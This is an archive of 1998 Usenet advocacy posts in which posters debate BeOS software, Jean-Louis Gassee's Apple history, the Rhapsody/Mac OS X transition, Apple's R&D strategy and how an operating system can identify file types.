the Server version -- logging file system, built-in RAID support, other
things I know nothing about, etc..
stephen
From: Eric Iverson <eric_iverson@REMOVE.wayne.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 14:40:00 +0100
Organization: WSU
Message-ID: <35AF541E.5070@REMOVE.wayne.edu>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com>
Mime-Version: 1.0
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> > Care to tell
> > me the names of any REAL, useful software on Be?
Why don't you just start at
http://www.be.com/beware/index.html
and see for yourself?
> Here are some REAL, useful pieces that I use regularly:
> Code Warrior
> NetPositive
> BeInformed
> GobeProductive
Compare these to when Macintosh started it had:
Macintosh Assembler/Debugger
MacTerminal
MacProject
MacWrite/Draw/Paint
:)
From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 23:17:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6oom1p$dcm$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <35AF2DD3.26D1@REMOVE.wayne.edu>
In article <35AF2DD3.26D1@REMOVE.wayne.edu>,
Eric Iverson <eric_iverson@REMOVE.wayne.edu> wrote:
> xmac@my-dejanews.com wrote:
> [...]
> > Look at Be and how far (not) they have gotten in the past few years. You may
> > also wish to notice that Gasse's first instinct with Be was to base it on a
> > largely proprietary hardware platform and only when sales tanked did they
> > decide to port to PowerMac and then Intel. Be either needs to get some major
> > backers quick or go opensource with the whole thing. (IMHO)
>
> That's so full of errors, it's not even funny.
Sure it is...try harder.
>
> > -Stephen
> > ---------------------------------------------------------------------------
> > Looking for Mac Stuff? Find it at: It's just not meant to "Be" :(
> > http://members.tripod.com/~xgray/index.html -Xgray's Mac Internet Finder
>
> Why is your "Mac Internet Finder" icon just a copy of the BeOS Net+
> icon?
Honestly I wouldn't know...I don't use that OS.
>
> Did you get permission from Be?
Of course not, but I suppose I can change it or wait for it to become moot
point after they go under. *duck*!
-Stephen
----------------------------------------------------------------------------
"Dangerous when wounded"
Looking for Mac-stuff? Find it here:
http://members.tripod.com/~xgray/index.html -Xgray's Mac Internet Finder
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 17 Jul 1998 17:33:17 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1707981733170001@pm3a19.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <Josh.McKee-1307982004310001@pm3a3.rmac.net> <6og3pl$eqq2@eccws1.dearborn.ford.com> <Josh.McKee-1407981859100001@pm3a4.rmac.net> <6ooea0$9gu$1@news1.rmi.net>
In article <6ooea0$9gu$1@news1.rmi.net>, Tom Harrington <tph@rmi.net> wrote:
> Joshua T. McKee (Josh.McKee@cbns.com) wrote:
> : In article <6og3pl$eqq2@eccws1.dearborn.ford.com>, tph@rmi.net wrote:
> : No confusion at all. If OS X is to be Rhapsody 2.0, and Rhapsody 1.0 will
> : run on pre-G3 Macs, then it appears that Apple isn't living up to it's
> : promise.
>
> Explain the reasoning behind this. The promise, as I heard it, was
> that Rhapsody would run on Macs shipping as of January 1997. It now
> appears that Rhapsody 1.0 will do exactly that. Or in other words,
> it'll do exactly what they said it would. Where's the breach of
> promise?
While technically you're correct, practically, they broke their
"contract". Do you honestly think that anyone who bought one of these
pre-G3 Macs to run Rhapsoday (at the time, the "next generation" os) would
have done so knowing the Rhapsody was going to be killed in a few months?
What good is Rhapsody when Apple has all but abandone it?
I'm not talking about bringing a lawsuit against Apple, but I do think as
a user, I would be very upset.
Josh
From: drooling.idiot.nospam@euronet.be (Little Piggy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 17 Jul 1998 19:12:29 GMT
Organization: EuroNet Internet
Message-ID: <35af9c56.108830479@news.euronet.be>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <35aed9f5.59069898@news.euronet.be> <gmgraves-1707981122300001@sf-pm5-10-74.dialup.slip.net>
gmgraves@slip.net (George Graves) wrote:
>In article <35aed9f5.59069898@news.euronet.be>,
>drooling.idiot.nospam@euronet.be wrote:
>
>> gmgraves@slip.net (George Graves) wrote:
>>
>> >You don't get it. Sun, HP, and SGI DO have support from major players.
>> >They aren't necessariliy the SAME major players that are in the office
>> >computer market, but they are major players nonetheless. Care to tell
>> >me the names of any REAL, useful software on Be?
>> >
>>
>> Here;s a novel idea, if you don't like BeOS and have some sort of
>> problem with it don't use it. I don't see anybody forcing you to.
>
>Here's another novel idea: get a clue. We were talking about the efficacy
>of alternative OSes to the mainstream ones. I was pointing out Be's
>deficiencies in that context. An OS without software is as useful as a
>car without gas. No matter how good it is, what features it has, they
>won't do you any good if you can't (A) get work done with it, and (B)
>share that work with other computers. In case you haven't noticed, Be
>still falls short in both of these arenas. Maybe someday though.......
>
>George Graves
Ooook, first of Be is the company, BeOS is the OS. Secondly Be in no
way claims that BeOS is an alternative to the mainstream OSes. Be also
does _not_ claim that BeOS is a general purpose OS like windows.
Finally I dunno about the PPC version but the Intel version is
currently for geeks and developers as Be so deftly puts it. How many
OSes do you know had tons of applications in their infancy?
--
Little Piggy
Who is General Failure and why is he reading my hard disk?
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-1707981643140001@term3-7.vta.west.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170>
Organization: Obsidian Design / Static Dreams Interactive
Date: Fri, 17 Jul 1998 23:43:56 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 16:43:56 PDT
In article <mNOSPAMroeder-1507981407020001@192.168.21.170>,
mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> In article <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com (Pulsar) wrote:
[snip good stuff - "the Mac UI works well when subtly expanded"]
> > OpenDoc was interesting. A document centered way of computing was new. It
> > was slow and wasn't always stable, but the idea was great and could have
> > fueled a shift in the way we use our computers. Unfortunately Apple killed
> > that.
>
> Why is such a shift necessary? What problem would it solve? Neither
> OpenDoc nor OLE received tremendous support from applications developers.
> I used CyberDog, a pretty cool OpenDoc application, for a while, but it
> didn't interact very well with other applications.
Actually, I find a document-centric approach much more natural and I took
to it right away, but when I tried to use it on tasks where I depend on
the system to be snappy and fast and respond instantly (or close to it),
the OpenDoc implementation just didn't cut it. But the concepts, what it
tried to do, I would really like a lot. It's just the implementation, the
code inside OD itself, which I think sucked.
[snip more good stuff]
> > Why not have an OS that is able to have defining characterisics of files be
> > registered in order to determine the file type is and what application
> > should open it?
[snip]
> It's an interesting problem you've stated, and solving it would be really
> useful ... and really difficult.
Actually, I think the current MacOS Easy Open system can do this. I can
take a file, name it something like "blah" or some such (no suffix for PC
Exchange to guess at), strip it's type and creator with ResEdit, and when
I double-click it I get a dialog with several apps which could open it.
Most of them open it in different ways, of course - ClarisWorks may open
it as a text file, Stuffit Expander will try to decode/decompress it,
Photoshop will try to view it as an image, and so on. And whatever kind of
file it is, I will likely know, so I can choose which app to open it in
(if it's an image, I'll choose Photoshop. If it's a text or word
processing file, I'll use Claris, if it's an archive of other files I'll
use Stuffix, and so on). And then, if it has a suffix, PC Exchange will
try to guess at it's format from that, if it has a file type in the
metainfo but no creator, it'll give me a list of which apps can open that
file type (or what translators can put it in a file type that something
will recognise) and let me choose, and so on.
[snip yet more good stuff]
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: Jonathan Hendry <jhendry@subsequent.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 23:57:04 GMT
Organization: Steel Driving Software, Chicago
Sender: Jonathan Hendry <jhendry@isdnjhendry.cmg.fcnbd.com>
Message-ID: <6ooocg$scj@sjx-ixn4.ix.netcom.com>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
> In article <6onmii$njn$1@server.signat.org>, maury@remove_this.istar.ca
> (Maury Markowitz) wrote:
> > In <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> George Graves
> > wrote:
> > > Run the company like adults on a permanent basis.
> >
> > Well that's just mudslinging George. The company is doing well now, and
> > calling them children is mean spirited.
> HMMMM You misunderstand, Maury. Steve is ACTING CEO. While he's been
> there, the company has changed, and yes, they seem to have achieved
> some maturity. But one of these days Jobs is going to move on,
Maybe, maybe not. Jobs has been a dual-CEO since the mid 80's. First
it was NeXT and Pixar. Now, it's Apple and Pixar. This is nothing
new for him. What's new is that, due to Apple's condition, he's
had to spend a lot more time working than he had before. Eventually,
the situation at Apple will settle down to where he can work
reasonable hours, and at that point there's little reason for
him to leave.
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Fri, 17 Jul 1998 17:03:25 -0700
Organization: University of British Columbia
Message-ID: <1dcbjda.10cmjpw135ohocN@p022.intchg2.net.ubc.ca>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <joe.ragosta-1607980759480001@wil45.dol.net> <6oktri$frj$1@lwnws01.ne.highway1.com> <edewEw7oKo.3A1@netcom.com> <6ompst$m5t$4@lwnws01.ne.highway1.com> <edewEw8FEq.HpI@netcom.com> <6onlst$9oe$1@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
> Well aside from silly mac users, most people feel one simillarly
> featured machine is generally as good as another.
Sir, you've touched the matter with a needle! If your computer is going
to spend most of its life just sitting there reassuring you that your
home is fully equipped, buying on price alone and not worrying about
"minor" differences is an excellent plan.
But then your home will look so much more up-to-date and stylish with a
glitzy iMac just sitting there... :^)
A lot of consumption isn't so much about *doing* anything as about
having the latest things with the coolest features.
--
Bruce Bennett
From: xmac@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Fri, 17 Jul 1998 21:11:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ooel4$d5$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <gmgraves-1607981312590001@sf-pm5-16-80.dialup.slip.net>
In article <gmgraves-1607981312590001@sf-pm5-16-80.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <6ojoum$tvm$1@nnrp1.dejanews.com>, xmac@my-dejanews.com wrote:
>
> > In article <B1D27F61-1F256@206.165.43.178>,
> > "Lawson English" <english@primenet.com> wrote:
> > > tomlinson <etomlins@rohan.sdsu.edu> said:
> > >
> > > >This is I think the second time I have seen Gassee criticised as
> > > >chiefly responsible for Apple's more idiotic decisions. Lacking
> > > >any knowledge of Gassee's tenure at the company, I can't judge the
> > > >statement. What's the story? What did he do?
> > > >
> > > >My interest in JLG is more than academic of course, because Gassee
> > > >after all now heads up Be, in whom I've invested a certain amount of
> > > >loyalty and time. If Gassee fucked up before I'd like to know how,
> > > >just in case he does it again :)
> > >
> > > I've heard that he was the one that convinced Jobs NOT to license the Mac
> > > to tothers.
> >
> > This is true -AFAIK.
> > >
> > > OTOH, his license plate used to read OPENMAC and he was the NuBus slot
> > > advocate, I believe.
> >
> > I think OpenMac may just refer to the MacII line which he was heavily
involved
> > with.
>
> Yeah. The Mac II was designed for an eastern Workstation company called Apollo
> to sell as as a High-End workstation running Mac OS. It was to be the first
> foray into cloning. The papers were all but signed, the Apollo people were at
> the Boston Airport on their way to Cupertino, when their advocate at Apple, a
> guy named Chuck Berger, had them paged and told them to go home. Gassee had
> convinced Scully (who, as usual, was clueless) not to go through with the
> deal at the last moment. Since Apple was making the motherboards for Apollo,
> they decided to release the computer themselves as the MacII. Chaulk up
another
> one for Jean-Louis!
>
To continue this story: I believe Apollo was later bought by HP and become the
basis for their PA-RISC Unix workstation line.
-Stephen
----------------------------------------------------------------------------
"Smells like geek..."
Looking for Mac-stuff? Find it here:
http://members.tripod.com/~xgray/index.html -Xgray's Mac Internet Finder
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Jobs is a GOD!
Date: Fri, 17 Jul 1998 17:17:32 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1707981717330001@sdn-ar-001casbarp304.dialsprint.net>
References: <6oojps$pjj$1@news-2.news.gte.net> <B1D54ABE-3B1E3@209.184.8.87>
In article <B1D54ABE-3B1E3@209.184.8.87>, "Chad Prukha"
<autolist@swbell.com> wrote:
> What a bitter little man you are.
<snip>
> Not worth responding to... it's just too stupid.
Wow, you are
> truly an idiot.
<snip>
>
> Troll.
<snip>
> Moronic half-twit.
<snip>
> Would you like a sip?
<snip>
>
> Anyone else producing
> Standalone Wintels for the same price/performance point?
Oh Please, give me a break. Its so easy to find examples of this. Just
today someone gave a example of a p2 300, I think 64 megs ram, maybe 32
tho, 6 gig hard drive, 2 megs vram with rage pro video, 16 bit stereo
sound, 15 inch .28 mm monitor for $999. No, thats NOT the same
price/performance point, its LESS!
Of course I would rather still have a mac, but that doesnt excuse your
trollbait.
--
So many pedestrians, so little time.
From: Jonathan Hendry <jhendry@subsequent.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 18 Jul 1998 01:10:16 GMT
Organization: Steel Driving Software, Chicago
Sender: Jonathan Hendry <jhendry@isdnjhendry.cmg.fcnbd.com>
Message-ID: <6ooslo$scj@sjx-ixn4.ix.netcom.com>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
> mention one of them. In order for Apple to avoid becoming totally
> irrelevant, they must innovate. They must continue to introduce products
> and TECHNOLOGIES which will differentiate them from Wintel in a
> compelling manner; one which will make people want, not only to stay
> with the platform, but for new users to flock to it. This takes a tremendous
> R&D budget.
No it won't. Don't look for much proprietary hardware from Apple. There's
no point. Intel is driving the PC architecture, and Apple can't possibly
outspend them. Apple will innovate by adopting existing standards and
putting them together in new and interesting ways that also happen
to work well. Apple will just ride the PC industry's coattails, which
will be quite inexpensive. Think of it as outsourcing their hardware
R&D.
At the very least, this way Apple gets to keep up with the PC
market. If they try to go proprietary, there's a huge risk
of falling behind if the PC market takes an unexpected turn.
> Apple's revenues are STILL in free-fall. Yet we expect them
> to innovate for the platform by themselves. Jobs realized that this was
> a daunting task. That's why he jettisoned almost everything except Apple's
> core business; so that the available resources could be focused on
> Macintosh. But with marketshare falling, and revenues falling, the money
> to maintain an R&D presence equal to or greater than that which exists in
> the MUCH larger Wintel world isn't going to be there.
Apple's revenues are not in free-fall. They're flat.
Apple doesn't need to match their R&D. They can adopt PC standard
hardware for far less money. What exactly would they spend this
money on, and why wouldn't they just buy a finished product from
an OEM instead?
Apple's main innovation will be in software, and there isn't a direct
correlation between the size of a company's R&D budget and the
amount of innovation they do. A shoestring 2-man startup
can come up with ideas that Microsoft would never think of.
Microsoft would never have come up with WebObjects either,
because they don't have the technology required for it. Look
for more innovations of that kind.
> A partner is needed.
No. You seem to think that would be a 'silver bullet'. Bullet
to the head is more likely.
> One which can either fund such a presence (a deep-pockets company like
> IBM or Philips), or benefit directly from it (a partner in the same business
> such as Sun).
Lotus hasn't exactly taken the world by storm since IBM bought them.
Their SmartSuite hasn't made a dent against Office.
Philips would probably try to turn the Mac into a new CD-i.
Sun isn't even remotely in the same business, and they've botched
their only broad-interest project - Java. Sun's also a black
hole.
Apple wouldn't last three years if they get tangled up with
some partner. It'd be a death sentence. They have far, far
better chances of surviving on their own.
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 18 Jul 1998 00:54:21 GMT
Organization: Cygnus Solutions
Message-ID: <6oornt$ocj$1@cronkite.cygnus.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com>
<andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net>
<Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu>
<Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com>
<Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com>
<joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com>
<Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171>
<pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170>
<forrestDELETE-THIS!-1707981643140001@term3-7.vta.west.net> <mNOSPAMroeder-1707981742020001@192.168.21.168>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mNOSPAMroeder@macromedia.com
In <mNOSPAMroeder-1707981742020001@192.168.21.168> Michael Roeder wrote:
> But if you know what the file contains, you have a head start on solving
> the problem. What if I gave you an unidentified byte stream and asked you
> to tell me what was in it? That's really hard. So without some universal
> standard to identify the contents of a file within the file, you have to
> have some kind of external tag: on RT-11-like systems (RT-11, RSX-11,
> CP/M, DOS, Unix) you have to have a file extension. On Mac systems you
> have file type and creator codes. Pick your limitation...
>
>
Not necessarily. There are unix "magic numbers", or file headers (such as in
gif files) that identify what the file type is. So, it depends on what the
files actual type is. It may be pretty trivial to identify what type of file
it is.
You could also write an app that checks a list of known file formats and
checks to see if the byte stream matches any of them.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 17 Jul 1998 14:08:19 GMT
Organization: I don't think so
Message-ID: <slrn6qumv7.3qg.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <1dc6e9x.i3kt8jnbcj06N@ip70.albnxr1.ras.tele.dk> <6omdn7$o8c$1@news00.btx.dtag.de>
Mime-Version: 1.0
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Lars Träger posted the following to comp.sys.mac.advocacy:
>> UNIX has always had protected memory.
>Nixen on early PCs (e.g. XENIX) certainly did not.
Wonder what company would sell a *nix without protected memory?
DOH! Stooopid Microsoft.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: mNOSPAMroeder@macromedia.com (Michael Roeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 17 Jul 1998 17:42:02 -0800
Organization: Macromedia
Message-ID: <mNOSPAMroeder-1707981742020001@192.168.21.168>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <forrestDELETE-THIS!-1707981643140001@term3-7.vta.west.net>
In article <forrestDELETE-THIS!-1707981643140001@term3-7.vta.west.net>,
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
> Actually, I think the current MacOS Easy Open system can do this. I can
> take a file, name it something like "blah" or some such (no suffix for PC
> Exchange to guess at), strip it's type and creator with ResEdit, and when
> I double-click it I get a dialog with several apps which could open it.
> Most of them open it in different ways, of course - ClarisWorks may open
> it as a text file, Stuffit Expander will try to decode/decompress it,
> Photoshop will try to view it as an image, and so on. And whatever kind of
> file it is, I will likely know, so I can choose which app to open it in
> (if it's an image, I'll choose Photoshop. If it's a text or word
> processing file, I'll use Claris, if it's an archive of other files I'll
> use Stuffix, and so on). And then, if it has a suffix, PC Exchange will
> try to guess at it's format from that, if it has a file type in the
> metainfo but no creator, it'll give me a list of which apps can open that
> file type (or what translators can put it in a file type that something
> will recognise) and let me choose, and so on.
But if you know what the file contains, you have a head start on solving
the problem. What if I gave you an unidentified byte stream and asked you
to tell me what was in it? That's really hard. So without some universal
standard to identify the contents of a file within the file, you have to
have some kind of external tag: on RT-11-like systems (RT-11, RSX-11,
CP/M, DOS, Unix) you have to have a file extension. On Mac systems you
have file type and creator codes. Pick your limitation...
--
Michael Roeder -- mroeder at macromedia dot com
http://www.stopspam.org/usenet/faqs/faqs.html
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to
obscurity?)
Date: 17 Jul 98 18:33:14 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1D5496E-1B598@206.165.43.107>
References: <gmgraves-1707981109350001@sf-pm5-10-74.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 18 Jul 1998 01:32:45 GMT
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
George Graves <gmgraves@slip.net> said:
>
>No. Jobs came on-board to assist in the merger of Apple/NeXT. Amelio
>asked him to stay on as adviser. Jobs then pulled a board-room coup,
>after they canned Amelio, and fired the entire board (except for two)
>including Markkula.
Do you REALLY think that you can fire the largest stockholder? Markkula
bowed out to give the appearance of Jobs being in complete control. That is
the only scenario that makes sense unless you can show me where Markkula is
no longer the largest private stockholder.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rcl@ultranet.com (Rich Long)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 17 Jul 1998 21:37:42 -0400
Organization: UltraNet Communications , an RCN Company http://www.ultranet.com/
Message-ID: <rcl-1707982137430001@d1.dial-3.nsh.nh.ultra.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net> <35AEF9B3.3169@earthlink.net>
In article <35AEF9B3.3169@earthlink.net>, skellener@earthlink.net wrote:
>
> Apple should have just finished the straight Openstep port and put it
> out last year. Instead they felt the need to tinker with the system
> (and remove features) and make us wait while our computers become
> obsolete.
What a deal! A modern OS with no applications! Good as it is, apparently
developers weren't getting behind Yellow Box. Plain and simple. Developers
have a HUGE MacOS code base; users want features like pre-emption and
protected memory. Would they get it with Yellow Box? Yes, if developers
rewrote their programs. Were they going to? For the most part, no. With
Carbon, Apple has a way for developers to easily bring modern features to
their existing Mac code base. Developers are happy; users will be happy.
I'm not happy with the G3-only situation (I bought a 3400 last year), but
I understand they have time-to-market and resource constraints. Perhaps a
compromise would be to bring support to the 60[34] boxes in a subsequent
MacOS X release.
Rich
--
From the Apple PowerBook of... Richard Long -- rcl@ultranet.com
My Links and Software Page: http://www.ultranet.com/~rcl/
Moving up to Mac: http://www.maccentral.com/news/9804/migration.shtml
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 17 Jul 1998 21:35:25 -0400
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <tbrown-1707982135270001@mv099.axom.com>
